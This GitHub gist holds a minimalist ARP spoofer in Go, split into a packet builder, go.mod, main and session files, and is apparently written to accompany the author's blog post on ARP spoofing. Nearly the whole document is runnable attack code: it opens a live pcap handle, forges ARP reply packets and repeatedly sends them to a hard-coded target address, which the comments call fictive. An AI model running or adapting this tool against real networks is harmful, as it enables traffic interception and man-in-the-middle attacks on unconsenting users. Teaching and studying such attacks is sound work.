Last active
March 27, 2024 11:24
-
-
Save kkrypt0nn/4225a88859d5a2bcc7d621e4fa7f2982 to your computer and use it in GitHub Desktop.
A very minimalist ARP spoofer written in Go for my blog post available at https://krypton.ninja/What-is-ARP-Spoofing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"net" | |
"github.com/google/gopacket" | |
"github.com/google/gopacket/layers" | |
) | |
type Address struct { | |
ip net.IP | |
mac net.HardwareAddr | |
} | |
func NewAddress(ip net.IP, mac net.HardwareAddr) *Address { | |
return &Address{ | |
ip: ip, | |
mac: mac, | |
} | |
} | |
func (a *Address) GetIP() net.IP { | |
return a.ip | |
} | |
func (a *Address) GetMAC() net.HardwareAddr { | |
return a.mac | |
} | |
var Options = gopacket.SerializeOptions{ | |
FixLengths: true, | |
ComputeChecksums: true, | |
} | |
func NewARPReplyPacket(src *Address, dst *Address) ([]byte, error) { | |
ethLayer := layers.Ethernet{ | |
SrcMAC: src.mac, | |
DstMAC: dst.mac, | |
EthernetType: layers.EthernetTypeARP, | |
} | |
arpLayer := layers.ARP{ | |
AddrType: layers.LinkTypeEthernet, | |
Protocol: layers.EthernetTypeIPv4, | |
HwAddressSize: 6, | |
ProtAddressSize: 4, | |
Operation: layers.ARPReply, | |
SourceHwAddress: src.mac, | |
SourceProtAddress: src.ip.To4(), | |
DstHwAddress: dst.mac, | |
DstProtAddress: dst.ip.To4(), | |
} | |
buffer := gopacket.NewSerializeBuffer() | |
if err := gopacket.SerializeLayers(buffer, Options, ðLayer, &arpLayer); err != nil { | |
return nil, err | |
} | |
return buffer.Bytes(), nil | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module github.com/kkrypt0nn/arp-spoofer | |
go 1.20 | |
require ( | |
github.com/google/gopacket v1.1.19 | |
github.com/kkrypt0nn/logger.go v1.4.1 | |
) | |
require golang.org/x/sys v0.7.0 // indirect |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"github.com/google/gopacket/pcap" | |
"net" | |
"strings" | |
"time" | |
) | |
// Obviously these are not accurate & fictive addresses | |
const ( | |
TargetIP = "192.168.13.37" | |
TargetMAC = "13:de:ad:be:ef:37" | |
Timeout = 5 * time.Second | |
TotalPacketsToSend = 15 | |
) | |
func main() { | |
// Create a new session | |
s := NewSession() | |
// Get the interface | |
ifaces, err := net.Interfaces() | |
if err != nil { | |
s.logger.Fatal("Failed to retrieve interfaces: " + err.Error()) | |
return | |
} | |
for _, iface := range ifaces { | |
if iface.HardwareAddr == nil { | |
continue | |
} | |
addrs, err := iface.Addrs() | |
if err != nil { | |
s.logger.Fatal("Failed to retrieve the addresses of the interface: " + err.Error()) | |
return | |
} | |
for _, addr := range addrs { | |
if strings.Split(addr.String(), "/")[0] == s.ip.String() { | |
// Set the current interface & MAC address | |
s.iface = iface | |
s.mac = iface.HardwareAddr | |
break | |
} | |
} | |
} | |
// Get the device to listen to | |
devices, err := pcap.FindAllDevs() | |
if err != nil { | |
s.logger.Fatal("Failed to retrieve devices: " + err.Error()) | |
return | |
} | |
for _, device := range devices { | |
for _, address := range device.Addresses { | |
if address.IP.To4().String() == s.ip.String() { | |
s.device = device | |
break | |
} | |
} | |
} | |
// Open the device and be prepared to send the spoofed packets | |
handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever) | |
if err != nil { | |
s.logger.Fatal("Failed to open device: " + err.Error()) | |
return | |
} | |
// Prepare the ARP reply packet | |
src := NewAddress(s.ip, s.mac) | |
mac, _ := net.ParseMAC(TargetMAC) | |
dst := NewAddress(net.ParseIP(TargetIP), mac) | |
arpReply, _ := NewARPReplyPacket(src, dst) | |
s.logger.Info("Sending spoofed ARP replies to " + dst.GetIP().String() + " with MAC " + dst.GetMAC().String() + " every " + Timeout.String()) | |
// Send the packets | |
for i := 0; i < TotalPacketsToSend; i++ { | |
err = handler.WritePacketData(arpReply) | |
if err != nil { | |
s.logger.Error("Failed to send packet: " + err.Error()) | |
} | |
time.Sleep(Timeout) | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"github.com/google/gopacket/pcap" | |
"github.com/kkrypt0nn/logger.go" | |
"net" | |
) | |
// Some wacky way to get the outbound IP address ^-^ | |
func getOutboundIP() net.IP { | |
conn, err := net.Dial("udp", "8.8.8.8:80") | |
if err != nil { | |
panic(err) | |
} | |
defer conn.Close() | |
return conn.LocalAddr().(*net.UDPAddr).IP | |
} | |
type Session struct { | |
iface net.Interface | |
device pcap.Interface | |
ip net.IP | |
mac net.HardwareAddr | |
logger *logger.Logger | |
} | |
func NewSession() *Session { | |
return &Session{ | |
ip: getOutboundIP(), // This will try to resolve the IP, if it's inaccurate you can hard-code it.. | |
logger: logger.NewLogger(), | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment